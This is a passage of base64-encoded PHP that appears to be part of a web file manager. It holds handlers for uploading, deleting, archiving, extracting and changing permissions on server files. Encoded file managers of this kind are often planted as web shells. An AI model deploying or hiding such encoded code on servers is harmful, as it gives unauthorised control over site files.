0NCn0NCg0KLy8gVXBsb2FkDQppZiAoIWVtcHR5KCRfRklMRVMpICYmICFGTV9SRUFET05MWSkgew0KICAgIGlmKGlzc2V0KCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgnc3RhdHVzJyA9PiAnZXJyb3InLCdpbmZvJyA9PiAiSW52YWxpZCBUb2tlbi4iKTsNCiAgICAgICAgICAgIGVjaG8ganNvbl9lbmNvZGUoJHJlc3BvbnNlKTsgZXhpdCgpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKCdzdGF0dXMnID0+ICdlcnJvcicsJ2luZm8nID0+ICJUb2tlbiBNaXNzaW5nLiIpOw0KICAgICAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7IGV4aXQoKTsNCiAgICB9DQoNCiAgICAkY2h1bmtJbmRleCA9ICRfUE9TVFsnZHpjaHVua2luZGV4J107DQogICAgJGNodW5rVG90YWwgPSAkX1BPU1RbJ2R6dG90YWxjaHVua2NvdW50J107DQogICAgJGZ1bGxQYXRoSW5wdXQgPSBmbV9jbGVhbl9wYXRoKCRfUkVRVUVTVFsnZnVsbHBhdGgnXSk7DQoNCiAgICAkZiA9ICRfRklMRVM7DQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgJGRzID0gRElSRUNUT1JZX1NFUEFSQVRPUjsNCiAgICBpZiAoRk1fUEFUSCAhPSAnJykgew0KICAgICAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KICAgIH0NCg0KICAgICRlcnJvcnMgPSAwOw0KICAgICR1cGxvYWRzID0gMDsNCiAgICAkYWxsb3dlZCA9IChGTV9VUExPQURfRVhURU5TSU9OKSA/IGV4cGxvZGUoJywnLCBGTV9VUExPQURfRVhURU5TSU9OKSA6IGZhbHNlOw0KICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgJ3N0YXR1cycgPT4gJ2Vycm9yJywNCiAgICAgICAgJ2luZm8nICAgPT4gJ09vcHMhIFRyeSBhZ2FpbicNCiAgICApOw0KDQogICAgJGZpbGVuYW1lID0gJGZbJ2ZpbGUnXVsnbmFtZSddOw0KICAgICR0bXBfbmFtZSA9ICRmWydmaWxlJ11bJ3RtcF9uYW1lJ107DQogICAgJGV4dCA9IHBhdGhpbmZvKCRmaWxlbmFtZSwgUEFUSElORk9fRklMRU5BTUUpICE9ICcnID8gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZW5hbWUsIFBBVEhJTkZPX0VYVEVOU0lPTikpIDogJyc7DQogICAgJGlzRmlsZUFsbG93ZWQgPSAoJGFsbG93ZWQpID8gaW5fYXJyYXkoJGV4dCwgJGFsbG93ZWQpIDogdHJ1ZTsNCg0KICAgIGlmKCFmbV9pc3ZhbGlkX2ZpbGVuYW1lKCRmaWxlbmFtZSkgJiYgIWZtX2lzdmFsaWRfZmlsZW5hbWUoJGZ1bGxQYXRoSW5wdXQpKSB7DQogICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsDQogICAgICAgICAgICAnaW5mbycgICAgICA9PiAiSW52YWxpZCBGaWxlIG5hbWUhIiwNCiAgICAgICAgKTsNCiAgICAgICAgZWNobyBqc29uX2VuY29kZSgkcmVzcG9uc2UpOyBleGl0KCk7DQogICAgfQ0KDQogICAgJHRhcmdldFBhdGggPSAkcGF0aCAuICRkczsNCiAgICBpZiAoIGlzX3dyaXRhYmxlKCR0YXJnZXRQYXRoKSApIHsNCiAgICAgICAgJGZ1bGxQYXRoID0gJHBhdGggLiAnLycgLiAkZnVsbFBhdGhJbnB1dDsNCiAgICAgICAgJGZvbGRlciA9IHN1YnN0cigkZnVsbFBhdGgsIDAsIHN0cnJwb3MoJGZ1bGxQYXRoLCAiLyIpKTsNCg0KICAgICAgICBpZiAoIWlzX2RpcigkZm9sZGVyKSkgew0KICAgICAgICAgICAgJG9sZCA9IHVtYXNrKDApOw0KICAgICAgICAgICAgbWtkaXIoJGZvbGRlciwgMDc3NywgdHJ1ZSk7DQogICAgICAgICAgICB1bWFzaygkb2xkKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmIChlbXB0eSgkZlsnZmlsZSddWydlcnJvciddKSAmJiAhZW1wdHkoJHRtcF9uYW1lKSAmJiAkdG1wX25hbWUgIT0gJ25vbmUnICYmICRpc0ZpbGVBbGxvd2VkKSB7DQogICAgICAgICAgICBpZiAoJGNodW5rVG90YWwpew0KICAgICAgICAgICAgICAgICRvdXQgPSBAZm9wZW4oInskZnVsbFBhdGh9LnBhcnQiLCAkY2h1bmtJbmRleCA9PSAwID8gIndiIiA6ICJhYiIpOw0KICAgICAgICAgICAgICAgIGlmICgkb3V0KSB7DQogICAgICAgICAgICAgICAgICAgICRpbiA9IEBmb3BlbigkdG1wX25hbWUsICJyYiIpOw0KICAgICAgICAgICAgICAgICAgICBpZiAoJGluKSB7DQogICAgICAgICAgICAgICAgICAgICAgICBpZiAoUEhQX1ZFUlNJT05fSUQgPCA4MDAwOSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIC8vIHdvcmthcm91bmQgaHR0cHM6Ly9idWdzLnBocC5uZXQvYnVnLnBocD9pZD04MTE0NQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGRvIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZm9yICg7Oykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGJ1ZmYgPSBmcmVhZCgkaW4sIDQwOTYpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRidWZmID09PSBmYWxzZSB8fCAkYnVmZiA9PT0gJycpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBicmVhazsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZ3cml0ZSgkb3V0LCAkYnVmZik7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IHdoaWxlICghZmVvZigkaW4pKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgc3RyZWFtX2NvcHlfdG9fc3RyZWFtKCRpbiwgJG91dCk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmlsZSB1cGxvYWQgc3VjY2Vzc2Z1bCINCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoDQogICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyAgICA9PiAnZXJyb3InLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmYWlsZWQgdG8gb3BlbiBvdXRwdXQgc3RyZWFtIiwNCiAgICAgICAgICAgICAgICAgICAgICAgICdlcnJvckRldGFpbHMnID0+IGVycm9yX2dldF9sYXN0KCkNCiAgICAgICAgICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgQGZjbG9zZSgkaW4pOw0KICAgICAgICAgICAgICAgICAgICBAZmNsb3NlKCRvdXQpOw0KICAgICAgICAgICAgICAgICAgICBAdW5saW5rKCR0bXBfbmFtZSk7DQoNCiAgICAgICAgICAgICAgICAgICAgJHJlc3BvbnNlID0gYXJyYXkgKA0KICAgICAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ3N1Y2Nlc3MnLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nID0+ICJmaWxlIHVwbG9hZCBzdWNjZXNzZnVsIg0KICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdlcnJvcicsDQogICAgICAgICAgICAgICAgICAgICAgICAnaW5mbycgPT4gImZhaWxlZCB0byBvcGVuIG91dHB1dCBzdHJlYW0iDQogICAgICAgICAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIGlmICgkY2h1bmtJbmRleCA9PSAkY2h1bmtUb3RhbCAtIDEpIHsNCiAgICAgICAgICAgICAgICAgICAgaWYgKGZpbGVfZXhpc3RzICgkZnVsbFBhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkZXh0XzEgPSAkZXh0ID8gJy4nLiRleHQgOiAnJzsNCiAgICAgICAgICAgICAgICAgICAgICAgICRmdWxsUGF0aFRhcmdldCA9ICRwYXRoIC4gJy8nIC4gYmFzZW5hbWUoJGZ1bGxQYXRoSW5wdXQsICRleHRfMSkgLidfJy4gZGF0ZSgneW1kSGlzJykuICRleHRfMTt9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxQYXRoVGFyZ2V0ID0gJGZ1bGxQYXRoOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHJlbmFtZSgieyRmdWxsUGF0aH0ucGFydCIsICRmdWxsUGF0aFRhcmdldCk7DQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICB9IGVsc2UgaWYgKG1vdmVfdXBsb2FkZWRfZmlsZSgkdG1wX25hbWUsICRmdWxsUGF0aCkpIHsNCiAgICAgICAgICAgICAgICAvLyBCZSBzdXJlIHRoYXQgdGhlIGZpbGUgaGFzIGJlZW4gdXBsb2FkZWQNCiAgICAgICAgICAgICAgICBpZiAoIGZpbGVfZXhpc3RzKCRmdWxsUGF0aCkgKSB7DQogICAgICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgICAgICAgICAgICAgICAgICdzdGF0dXMnICAgID0+ICdzdWNjZXNzJywNCiAgICAgICAgICAgICAgICAgICAgICAgICdpbmZvJyA9PiAiZmlsZSB1cGxvYWQgc3VjY2Vzc2Z1bCINCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoDQogICAgICAgICAgICAgICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLA0KICAgICAgICAgICAgICAgICAgICAgICAgJ2luZm8nICAgPT4gJ0NvdWxkblwndCB1cGxvYWQgdGhlIHJlcXVlc3RlZCBmaWxlLicNCiAgICAgICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICRyZXNwb25zZSA9IGFycmF5ICgNCiAgICAgICAgICAgICAgICAgICAgJ3N0YXR1cycgICAgPT4gJ2Vycm9yJywNCiAgICAgICAgICAgICAgICAgICAgJ2luZm8nICAgICAgPT4gIkVycm9yIHdoaWxlIHVwbG9hZGluZyBmaWxlcy4gVXBsb2FkZWQgZmlsZXMgJHVwbG9hZHMiLA0KICAgICAgICAgICAgICAgICk7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkcmVzcG9uc2UgPSBhcnJheSAoDQogICAgICAgICAgICAnc3RhdHVzJyA9PiAnZXJyb3InLA0KICAgICAgICAgICAgJ2luZm8nICAgPT4gJ1RoZSBzcGVjaWZpZWQgZm9sZGVyIGZvciB1cGxvYWQgaXNuXCd0IHdyaXRlYWJsZS4nDQogICAgICAgICk7DQogICAgfQ0KICAgIC8vIFJldHVybiB0aGUgcmVzcG9uc2UNCiAgICBlY2hvIGpzb25fZW5jb2RlKCRyZXNwb25zZSk7DQogICAgZXhpdCgpOw0KfQ0KDQovLyBNYXNzIGRlbGV0aW5nDQppZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ2RlbGV0ZSddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSkgew0KDQogICAgaWYoIXZlcmlmeVRva2VuKCRfUE9TVFsndG9rZW4nXSkpIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoIkludmFsaWQgVG9rZW4uIiksICdlcnJvcicpOw0KICAgIH0NCg0KICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOw0KICAgIGlmIChGTV9QQVRIICE9ICcnKSB7DQogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7DQogICAgfQ0KDQogICAgJGVycm9ycyA9IDA7DQogICAgJGZpbGVzID0gJF9QT1NUWydmaWxlJ107DQogICAgaWYgKGlzX2FycmF5KCRmaWxlcykgJiYgY291bnQoJGZpbGVzKSkgew0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGYpIHsNCiAgICAgICAgICAgIGlmICgkZiAhPSAnJykgew0KICAgICAgICAgICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJGY7DQogICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRuZXdfcGF0aCkpIHsNCiAgICAgICAgICAgICAgICAgICAgJGVycm9ycysrOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGVycm9ycyA9PSAwKSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnU2VsZWN0ZWQgZmlsZXMgYW5kIGZvbGRlciBkZWxldGVkJykpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0Vycm9yIHdoaWxlIGRlbGV0aW5nIGl0ZW1zJyksICdlcnJvcicpOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ05vdGhpbmcgc2VsZWN0ZWQnKSwgJ2FsZXJ0Jyk7DQogICAgfQ0KDQogICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KfQ0KDQovLyBQYWNrIGZpbGVzIHppcCwgdGFyDQppZiAoaXNzZXQoJF9QT1NUWydncm91cCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmIChpc3NldCgkX1BPU1RbJ3ppcCddKSB8fCBpc3NldCgkX1BPU1RbJ3RhciddKSkgJiYgIUZNX1JFQURPTkxZKSB7DQoNCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygiSW52YWxpZCBUb2tlbi4iKSwgJ2Vycm9yJyk7DQogICAgfQ0KDQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgJGV4dCA9ICd6aXAnOw0KICAgIGlmIChGTV9QQVRIICE9ICcnKSB7DQogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7DQogICAgfQ0KDQogICAgLy9zZXQgcGFjayB0eXBlDQogICAgJGV4dCA9IGlzc2V0KCRfUE9TVFsndGFyJ10pID8gJ3RhcicgOiAnemlwJzsNCg0KICAgIGlmICgoJGV4dCA9PSAiemlwIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09ICJ0YXIiICYmICFjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnKSwgJ2Vycm9yJyk7DQogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCiAgICB9DQoNCiAgICAkZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTsNCiAgICAkc2FuaXRpemVkX2ZpbGVzID0gYXJyYXkoKTsNCg0KICAgIC8vIGNsZWFuIHBhdGgNCiAgICBmb3JlYWNoKCRmaWxlcyBhcyAkZmlsZSl7DQogICAgICAgIGFycmF5X3B1c2goJHNhbml0aXplZF9maWxlcywgZm1fY2xlYW5fcGF0aCgkZmlsZSkpOw0KICAgIH0NCiAgICANCiAgICAkZmlsZXMgPSAkc2FuaXRpemVkX2ZpbGVzOw0KICAgIA0KICAgIGlmICghZW1wdHkoJGZpbGVzKSkgew0KICAgICAgICBjaGRpcigkcGF0aCk7DQoNCiAgICAgICAgaWYgKGNvdW50KCRmaWxlcykgPT0gMSkgew0KICAgICAgICAgICAgJG9uZV9maWxlID0gcmVzZXQoJGZpbGVzKTsNCiAgICAgICAgICAgICRvbmVfZmlsZSA9IGJhc2VuYW1lKCRvbmVfZmlsZSk7DQogICAgICAgICAgICAkemlwbmFtZSA9ICRvbmVfZmlsZSAuICdfJyAuIGRhdGUoJ3ltZF9IaXMnKSAuICcuJy4kZXh0Ow0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJHppcG5hbWUgPSAnYXJjaGl2ZV8nIC4gZGF0ZSgneW1kX0hpcycpIC4gJy4nLiRleHQ7DQogICAgICAgIH0NCg0KICAgICAgICBpZigkZXh0ID09ICd6aXAnKSB7DQogICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpOw0KICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPmNyZWF0ZSgkemlwbmFtZSwgJGZpbGVzKTsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gJ3RhcicpIHsNCiAgICAgICAgICAgICR0YXIgPSBuZXcgRk1fWmlwcGVyX1RhcigpOw0KICAgICAgICAgICAgJHJlcyA9ICR0YXItPmNyZWF0ZSgkemlwbmFtZSwgJGZpbGVzKTsNCiAgICAgICAgfQ0KDQogICAgICAgIGlmICgkcmVzKSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKHNwcmludGYobG5nKCdBcmNoaXZlJykuJyA8Yj4lczwvYj4gJy5sbmcoJ0NyZWF0ZWQnKSwgZm1fZW5jKCR6aXBuYW1lKSkpOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgbm90IGNyZWF0ZWQnKSwgJ2Vycm9yJyk7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnTm90aGluZyBzZWxlY3RlZCcpLCAnYWxlcnQnKTsNCiAgICB9DQoNCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8vIFVucGFjayB6aXAsIHRhcg0KaWYgKGlzc2V0KCRfUE9TVFsndW56aXAnXSwgJF9QT1NUWyd0b2tlbiddKSAmJiAhRk1fUkVBRE9OTFkpIHsNCg0KICAgIGlmKCF2ZXJpZnlUb2tlbigkX1BPU1RbJ3Rva2VuJ10pKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCJJbnZhbGlkIFRva2VuLiIpLCAnZXJyb3InKTsNCiAgICB9DQoNCiAgICAkdW56aXAgPSB1cmxkZWNvZGUoJF9QT1NUWyd1bnppcCddKTsNCiAgICAkdW56aXAgPSBmbV9jbGVhbl9wYXRoKCR1bnppcCk7DQogICAgJHVuemlwID0gc3RyX3JlcGxhY2UoJy8nLCAnJywgJHVuemlwKTsNCiAgICAkaXNWYWxpZCA9IGZhbHNlOw0KDQogICAgJHBhdGggPSBGTV9ST09UX1BBVEg7DQogICAgaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAgICAgJHBhdGggLj0gJy8nIC4gRk1fUEFUSDsNCiAgICB9DQoNCiAgICBpZiAoJHVuemlwICE9ICcnICYmIGlzX2ZpbGUoJHBhdGggLiAnLycgLiAkdW56aXApKSB7DQogICAgICAgICR6aXBfcGF0aCA9ICRwYXRoIC4gJy8nIC4gJHVuemlwOw0KICAgICAgICAkZXh0ID0gcGF0aGluZm8oJHppcF9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pOw0KICAgICAgICAkaXNWYWxpZCA9IHRydWU7DQogICAgfSBlbHNlIHsNCiAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0ZpbGUgbm90IGZvdW5kJyksICdlcnJvcicpOw0KICAgIH0NCg0KICAgIGlmICgoJGV4dCA9PSAiemlwIiAmJiAhY2xhc3NfZXhpc3RzKCdaaXBBcmNoaXZlJykpIHx8ICgkZXh0ID09ICJ0YXIiICYmICFjbGFzc19leGlzdHMoJ1BoYXJEYXRhJykpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdPcGVyYXRpb25zIHdpdGggYXJjaGl2ZXMgYXJlIG5vdCBhdmFpbGFibGUnKSwgJ2Vycm9yJyk7DQogICAgICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCiAgICB9DQoNCiAgICBpZiAoJGlzVmFsaWQpIHsNCiAgICAgICAgLy90byBmb2xkZXINCiAgICAgICAgJHRvZm9sZGVyID0gJyc7DQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3RvZm9sZGVyJ10pKSB7DQogICAgICAgICAgICAkdG9mb2xkZXIgPSBwYXRoaW5mbygkemlwX3BhdGgsIFBBVEhJTkZPX0ZJTEVOQU1FKTsNCiAgICAgICAgICAgIGlmIChmbV9ta2RpcigkcGF0aCAuICcvJyAuICR0b2ZvbGRlciwgdHJ1ZSkpIHsNCiAgICAgICAgICAgICAgICAkcGF0aCAuPSAnLycgLiAkdG9mb2xkZXI7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZigkZXh0ID09ICJ6aXAiKSB7DQogICAgICAgICAgICAkemlwcGVyID0gbmV3IEZNX1ppcHBlcigpOw0KICAgICAgICAgICAgJHJlcyA9ICR6aXBwZXItPnVuemlwKCR6aXBfcGF0aCwgJHBhdGgpOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAidGFyIikgew0KICAgICAgICAgICAgdHJ5IHsNCiAgICAgICAgICAgICAgICAkZ3ppcHBlciA9IG5ldyBQaGFyRGF0YSgkemlwX3BhdGgpOw0KICAgICAgICAgICAgICAgIGlmIChAJGd6aXBwZXItPmV4dHJhY3RUbygkcGF0aCxudWxsLCB0cnVlKSkgew0KICAgICAgICAgICAgICAgICAgICAkcmVzID0gdHJ1ZTsNCiAgICAgICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgICAgICAkcmVzID0gZmFsc2U7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7DQogICAgICAgICAgICAgICAgLy9UT0RPOjogbmVlZCB0byBoYW5kbGUgdGhlIGVycm9yDQogICAgICAgICAgICAgICAgJHJlcyA9IHRydWU7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoJHJlcykgew0KICAgICAgICAgICAgZm1fc2V0X21zZyhsbmcoJ0FyY2hpdmUgdW5wYWNrZWQnKSk7DQogICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICBmbV9zZXRfbXNnKGxuZygnQXJjaGl2ZSBub3QgdW5wYWNrZWQnKSwgJ2Vycm9yJyk7DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygnRmlsZSBub3QgZm91bmQnKSwgJ2Vycm9yJyk7DQogICAgfQ0KICAgICRGTV9QQVRIPUZNX1BBVEg7IGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoJEZNX1BBVEgpKTsNCn0NCg0KLy8gQ2hhbmdlIFBlcm1zIChub3QgZm9yIFdpbmRvd3MpDQppZiAoaXNzZXQoJF9QT1NUWydjaG1vZCddLCAkX1BPU1RbJ3Rva2VuJ10pICYmICFGTV9SRUFET05MWSAmJiAhRk1fSVNfV0lOKSB7DQoNCiAgICBpZighdmVyaWZ5VG9rZW4oJF9QT1NUWyd0b2tlbiddKSkgew0KICAgICAgICBmbV9zZXRfbXNnKGxuZygiSW52YWxpZCBUb2tlbi4iKSwgJ2Vycm9yJyk7DQogICAgfQ0KICAgIA0KICAgICRwYXRoID0gRk1fUk9PVF9QQVRIOw0KICAgIGlmIChGTV9QQVRIICE9ICcnKSB7DQogICAgICAgICRwYXRoIC49ICcvJyAuIEZNX1BBVEg7DQogICAgfQ0KDQogICAgJGZpbGUgPSAkX1BPU1RbJ2NobW9kJ107DQogICAgJGZpbGUgPSBmbV9jbGVhbl9wYXRoKCRmaWxlKTsNCiAgICAkZmlsZSA9IHN0cl9yZXBsYWNlKCcvJywgJycsICRmaWxlKTsNCiAgICBpZiAoJGZpbGUgPT0gJycgfHwgKCFpc19maWxlKCRwYXRoIC4gJy8nIC4gJGZpbGUpICYmICFpc19kaXIoJHBhdGggLiAnLycgLiAkZmlsZSkpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdGaWxlIG5vdCBmb3VuZCcpLCAnZXJyb3InKTsNCiAgICAgICAgJEZNX1BBVEg9Rk1fUEFUSDsgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZSgkRk1fUEFUSCkpOw0KICAgIH0NCg0KICAgICRtb2RlID0gMDsNCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsndXInXSkpIHsNCiAgICAgICAgJG1vZGUgfD0gMDQwMDsNCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ3V3J10pKSB7DQogICAgICAgICRtb2RlIHw9IDAyMDA7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9QT1NUWyd1eCddKSkgew0KICAgICAgICAkbW9kZSB8PSAwMTAwOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnZ3InXSkpIHsNCiAgICAgICAgJG1vZGUgfD0gMDA0MDsNCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ2d3J10pKSB7DQogICAgICAgICRtb2RlIHw9IDAwMjA7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9QT1NUWydneCddKSkgew0KICAgICAgICAkbW9kZSB8PSAwMDEwOw0KICAgIH0NCiAgICBpZiAoIWVtcHR5KCRfUE9TVFsnb3InXSkpIHsNCiAgICAgICAgJG1vZGUgfD0gMDAwNDsNCiAgICB9DQogICAgaWYgKCFlbXB0eSgkX1BPU1RbJ293J10pKSB7DQogICAgICAgICRtb2RlIHw9IDAwMDI7DQogICAgfQ0KICAgIGlmICghZW1wdHkoJF9QT1NUWydveCddKSkgew0KICAgICAgICAkbW9kZSB8PSAwMDAxOw0KICAgIH0NCg0KICAgIGlmIChAY2htb2QoJHBhdGggLiAnLycgLiAkZmlsZSwgJG1vZGUpKSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBjaGFuZ2VkJykpOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGZtX3NldF9tc2cobG5nKCdQZXJtaXNzaW9ucyBub3QgY2hhbmdlZCcpLCAnZXJyb3InKTsNCiAgICB9DQoNCiAgICAkRk1fUEFUSD1GTV9QQVRIOyBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKCRGTV9QQVRIKSk7DQp9DQoNCi8qKioqKioqKioqKioqKioqKioqKioqKioqKiogQUNUSU9OUyAqKioqKioqKioqKioqKioqKioqKioqKioqKiovDQoNCi8vIGdldCBjdXJyZW50IHBhdGgNCiRwYXRoID0gRk1fUk9PVF9QQVRIOw0KaWYgKEZNX1BBVEggIT0gJycpIHsNCiAgICAkcGF0aCAuPSAnLycgLiBGTV9QQVRIOw0KfQ0KDQovLyBjaGVjayBwYXRoDQppZiAoIWlzX2RpcigkcGF0aCkpIHsNCiAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nKTsNCn0NCg0KLy8gZ2V0IHBhcmVudCBmb2xkZXINCiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7DQoNCiRvYmplY3RzID0gaXNfcmVhZGFibGUoJHBhdGgpID8gc2NhbmRpcigkcGF0aCkgOiBhcnJheSgpOw0KJGZvbGRlcnMgPSBhcnJheSgpOw0KJGZpbGVzID0gYXJyYXkoKTsNCiRjdXJyZW50X3BhdGggPSBhcnJheV9zbGljZShleHBsb2RlKCIvIiwkcGF0aCksIC0xKVswXTs